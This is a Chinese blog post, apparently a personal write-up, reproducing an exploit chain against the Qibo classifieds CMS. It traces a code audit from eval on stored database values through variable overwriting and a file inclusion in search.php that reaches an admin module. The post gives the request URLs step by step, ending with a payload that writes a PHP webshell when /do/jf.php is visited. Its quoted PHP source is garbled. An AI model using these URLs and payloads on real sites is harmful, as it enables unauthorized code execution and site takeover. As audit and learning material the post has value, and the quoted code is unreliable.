参考资料:http://security.alibaba.com/blog/blog.htm?id=21
在北京折腾了几天,总算安顿下来,也入职了~~趁着入职前两天不太忙,把之前欠下来的这个POC补了一下~~
0x00 起
这个漏洞总体说来,和二次SQL注入漏洞的成因差不多。由后台的某一个点插入到数据库中(插入时,进行了转义,不存在SQL注入),然后前台访问某一个页面,将变量放入了eval中执行。
最近也想向代码审计方向走,所以尽可能的来复现一下通过审计发现漏洞的过程。主要工具是seay代码审计工具。
0x10 承
全局搜索eval,发现可疑点。
打开代码,发现数据来自qibo_jfabout表
打开jfabout表,发现存在这样的值:title=发表文章可得{$webdb[postArticleMoney]}个积分。看起来好像很有戏的样子,再搜一下有木有哪里可以添加东西到这个表里。
OK,打开看看:
有点儿不太好的感觉,虽然添加的时候没有经过过滤(注意,过滤和转义不同),但这个点竟然是在管理中心。
搜索jfadmin_mod,发现是配置文件 /data/group/3.php。
再搜索3.php,果然是在admin中包含进来的。
漏洞突然变得鸡肋了。。好像就没有什么办法了呢。。
0x20 转
既然jfadmin_mod是通过文件包含引入的,那找找有木有文件包含漏洞好了。
在跟进前两条之前,我们需要知道qibofenlei是怎样处理数据流($_GET、$_POST等)的,也是搜索一下 $_GET,通过文件名筛选一下得到我们想要的结果:
进入文件之后:
$_GET=Add_S$_GET); function Add_S$array){ foreach$array as $key=>$value){ @eregi"['\"]+",$key) && die'ERROR KEY!'); if!is_array$value)){ $value=str_replace"&#x","& # x",$value); //¹ýÂËһЩ²»°²È«×Ö·û $value=preg_replace"/eval/i","eva l",$value); //¹ýÂ˲»°²È«º¯Êý !get_magic_quotes_gpc) && $value=addslashes$value); $array[$key]=$value; }else{ $array[$key]=Add_S$array[$key]); } } return $array; } foreach$_GET AS $_key=>$_value){ $_key=='GLOBALS' && die'error get value!'); !ereg"^\_[A-Z]+",$_key) && $$_key=$_GET[$_key]; }
POST、COOKIE同理。相当于把http://test.com/index.php?id=1中的$_GET[‘id’]提取成$id。这种方法毫无疑问,是存在很大的安全隐患的。隐隐约约记得看过qibo的漏洞,是没有对key做过滤,造成覆盖全局变量,修复的方法应该就是添加了这样一句话:
!ereg"^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
我们接下来会用到的,就是通过变量覆盖,来引入上文中会用到的变量。
0x30 合
现在,我们的目标就是通过search.php中的文件包含漏洞把admin.php包含进来,然后把恶意数据写到数据库中。
我们尝试直接包含admin.php:
http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin
通过print变量,可以看出文件成功包含。进一步:
http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin
&action=addjf&Apower[jfadmin_mod]=1
成功进到执行query的地方。进一步:
http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin
&action=addjf&Apower[jfadmin_mod]=1
&fid=111&title=test&content=fdafds&list=23333
查看数据库添加成功~~
然后把content改成${@fwritefopen’%d.php’, ‘w+’),即可写入恶意代码。
访问/do/jf.php 即可生成木马。